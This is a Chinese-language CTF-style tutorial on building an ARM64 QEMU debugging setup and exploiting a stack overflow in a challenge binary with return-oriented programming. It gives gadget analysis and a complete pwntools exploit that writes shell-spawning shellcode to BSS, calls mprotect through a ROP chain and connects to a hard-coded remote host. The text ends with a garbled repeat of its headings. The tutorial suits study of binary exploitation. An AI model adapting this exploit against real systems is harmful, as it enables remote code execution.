ARM64 调试环境搭建及 ROP 实战
字数 1420 2025-08-19 12:42:32

ARM64 调试环境搭建及 ROP 实战教学文档

一、环境准备

1.1 工具安装

# 安装交叉编译工具链和动态库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu

# 安装qemu模拟器
sudo apt-get install qemu-user

1.2 调试环境搭建

使用QEMU运行ARM64程序并开启调试服务:

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

参数说明:

  • -g 1234:在1234端口启动gdbserver
  • -L /usr/aarch64-linux-gnu:指定动态库路径

1.3 使用socat搭建远程调试环境

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

二、ARM64基础

2.1 寄存器体系

  • 32个64位通用寄存器:x0-x30 + sp
  • 32位模式使用w0-w30(低32位)
  • 特殊寄存器:
    • x29 (FP):帧指针
    • x30 (LR):链接寄存器,保存返回地址
    • SP:栈指针
    • PC:程序计数器

2.2 函数调用约定

  • 前8个参数通过x0-x7传递
  • 返回值通过x0传递
  • 超过8个参数通过栈传递

2.3 关键指令

指令 功能描述
ret 跳转到x30寄存器保存的地址
ldp x19, x20, [sp, #0x10] 从sp+0x10读取16字节到x19和x20
ldp x29, x30, [sp], #0x40 从sp读取16字节到x29和x30,然后sp+=0x40
MOV X1, X0 寄存器间数据移动
blr x3 跳转到x3指定的地址,同时保存下条指令到x30

三、程序分析

3.1 保护机制检查

checksec pwn
[*] '/home/hac425/workplace/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

关键点:

  • 64位ARM架构
  • 开启NX(堆栈不可执行)
  • 无PIE(基地址固定)
  • 无栈保护

3.2 漏洞分析

__int64 sub_400818() {
    sub_400760();
    write(1LL, "Name:", 5LL);
    read(0LL, &unk_411068, 0x200LL); // BSS段读入0x200字节
    sub_4007F0();
    return 0LL;
}

__int64 sub_4007F0() {
    __int64 v1; // 8字节变量
    return read(0LL, &v1, 512LL); // 栈溢出漏洞
}

漏洞点:

  1. 可以向BSS段(0x411068)写入0x200字节数据
  2. sub_4007F0函数存在栈溢出(8字节变量读入512字节)

四、ROP利用

4.1 利用思路

  1. 利用第一次输入在BSS段布置shellcode
  2. 通过栈溢出构造ROP链
  3. 调用mprotect使BSS段可执行
  4. 跳转到shellcode执行

4.2 偏移计算

使用cyclic模式确定溢出偏移:

from pwn import *
payload = cyclic(0x200)

崩溃后查看PC寄存器值,使用cyclic_find计算偏移:

cyclic_find(0x61616173)  # 结果为72

结论:偏移为72字节

4.3 Gadget搜索与分析

使用ROPgadget工具:

ROPgadget --binary pwn > pwn.txt

关键gadget:

  1. Gadget 1 (0x4008CC):
ldp x19, x20, [sp, #0x10]
ldp x21, x22, [sp, #0x20] 
ldp x23, x24, [sp, #0x30]
ldp x29, x30, [sp], #0x40
ret
  1. Gadget 2 (0x4008AC):
ldr x3, [x21, x19, lsl #3]
mov x2, x22
mov x1, x23
mov w0, w24
add x19, x19, #1
blr x3

4.4 ROP链构造

利用这两个gadget可以:

  1. 通过Gadget 1设置寄存器值
  2. 通过Gadget 2准备函数参数并跳转

具体布局:

payload = cyclic(72)  # 填充
payload += p64(0x4008CC)  # Gadget 1
payload += p64(0x0)  # x29
payload += p64(0x4008AC)  # x30 (Gadget 2)
payload += p64(0x0)  # x19
payload += p64(0x0)  # x20
payload += p64(0x0411068)  # x21 (BSS地址)
payload += p64(0x7)  # x22 (PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p64(0x1000)  # x23 (size)
payload += p64(0x411000)  # x24 (address)
payload += p64(0x0411068 + 0x10)  # 返回地址1
payload += p64(0x0411068 + 0x10)  # 返回地址2 (跳转到shellcode)

4.5 Shellcode布置

第一次输入时在BSS段布置shellcode:

p.recvuntil("Name:")
payload = p64(0x4007E0)  # mprotect调用地址
payload += p64(0)  # 填充
payload += asm(shellcraft.aarch64.sh())  # shellcode
p.send(payload)

五、完整利用代码

from pwn import *
from time import sleep

elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"

shellcode = asm(shellcraft.aarch64.sh())

# p = remote("127.0.0.1", 10002)
p = remote("106.75.126.171", 33865)
# pause()

p.recvuntil("Name:")
payload = p64(0x4007E0)  # mprotect调用地址
payload += p64(0)  # 填充
payload += shellcode
p.send(payload)

payload = cyclic(72)
payload += p64(0x4008CC)  # Gadget 1
payload += p64(0x0)  # x29
payload += p64(0x4008AC)  # x30 (Gadget 2)
payload += p64(0x0)  # x19
payload += p64(0x0)  # x20
payload += p64(0x0411068)  # x21 (BSS地址)
payload += p64(0x7)  # x22 (PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p64(0x1000)  # x23 (size)
payload += p64(0x411000)  # x24 (address)
payload += p64(0x0411068 + 0x10)  # 返回地址1
payload += p64(0x0411068 + 0x10)  # 返回地址2 (跳转到shellcode)
payload += cyclic(0x100)

sleep(0.5)
p.sendline(payload)
p.interactive()

六、总结与扩展

6.1 关键点总结

  1. ARM64架构特点:

    • 寄存器使用方式
    • 函数调用约定
    • 常见指令功能
  2. 调试技巧:

    • QEMU+GDB调试ARM程序
    • 使用socat创建调试环境
    • cyclic模式确定偏移
  3. ROP构造:

    • 多gadget组合使用
    • 寄存器控制技巧
    • 内存权限修改方法

6.2 扩展知识

  1. mprotect参数:

    • PROT_READ (0x1)
    • PROT_WRITE (0x2)
    • PROT_EXEC (0x4)
    • PROT_NONE (0x0)
  2. 通用gadget特征:

    • 位于程序初始化部分
    • 包含多个寄存器操作
    • 有清晰的栈操作模式
  3. 其他架构调试:

    • 类似方法可用于MIPS、PowerPC等架构
    • apt安装对应架构的库文件
    • 使用qemu-*系列工具运行
ARM64 调试环境搭建及 ROP 实战教学文档 一、环境准备 1.1 工具安装 1.2 调试环境搭建 使用QEMU运行ARM64程序并开启调试服务: 参数说明: -g 1234 :在1234端口启动gdbserver -L /usr/aarch64-linux-gnu :指定动态库路径 1.3 使用socat搭建远程调试环境 二、ARM64基础 2.1 寄存器体系 32个64位通用寄存器:x0-x30 + sp 32位模式使用w0-w30(低32位) 特殊寄存器: x29 (FP):帧指针 x30 (LR):链接寄存器,保存返回地址 SP:栈指针 PC:程序计数器 2.2 函数调用约定 前8个参数通过x0-x7传递 返回值通过x0传递 超过8个参数通过栈传递 2.3 关键指令 | 指令 | 功能描述 | |------|----------| | ret | 跳转到x30寄存器保存的地址 | | ldp x19, x20, [sp, #0x10] | 从sp+0x10读取16字节到x19和x20 | | ldp x29, x30, [sp], #0x40 | 从sp读取16字节到x29和x30,然后sp+=0x40 | | MOV X1, X0 | 寄存器间数据移动 | | blr x3 | 跳转到x3指定的地址,同时保存下条指令到x30 | 三、程序分析 3.1 保护机制检查 关键点: 64位ARM架构 开启NX(堆栈不可执行) 无PIE(基地址固定) 无栈保护 3.2 漏洞分析 漏洞点: 可以向BSS段(0x411068)写入0x200字节数据 sub_ 4007F0函数存在栈溢出(8字节变量读入512字节) 四、ROP利用 4.1 利用思路 利用第一次输入在BSS段布置shellcode 通过栈溢出构造ROP链 调用mprotect使BSS段可执行 跳转到shellcode执行 4.2 偏移计算 使用cyclic模式确定溢出偏移: 崩溃后查看PC寄存器值,使用 cyclic_find 计算偏移: 结论:偏移为72字节 4.3 Gadget搜索与分析 使用ROPgadget工具: 关键gadget: Gadget 1 (0x4008CC) : Gadget 2 (0x4008AC) : 4.4 ROP链构造 利用这两个gadget可以: 通过Gadget 1设置寄存器值 通过Gadget 2准备函数参数并跳转 具体布局: 4.5 Shellcode布置 第一次输入时在BSS段布置shellcode: 五、完整利用代码 六、总结与扩展 6.1 关键点总结 ARM64架构特点: 寄存器使用方式 函数调用约定 常见指令功能 调试技巧: QEMU+GDB调试ARM程序 使用socat创建调试环境 cyclic模式确定偏移 ROP构造: 多gadget组合使用 寄存器控制技巧 内存权限修改方法 6.2 扩展知识 mprotect参数: PROT_ READ (0x1) PROT_ WRITE (0x2) PROT_ EXEC (0x4) PROT_ NONE (0x0) 通用gadget特征: 位于程序初始化部分 包含多个寄存器操作 有清晰的栈操作模式 其他架构调试: 类似方法可用于MIPS、PowerPC等架构 apt安装对应架构的库文件 使用qemu-* 系列工具运行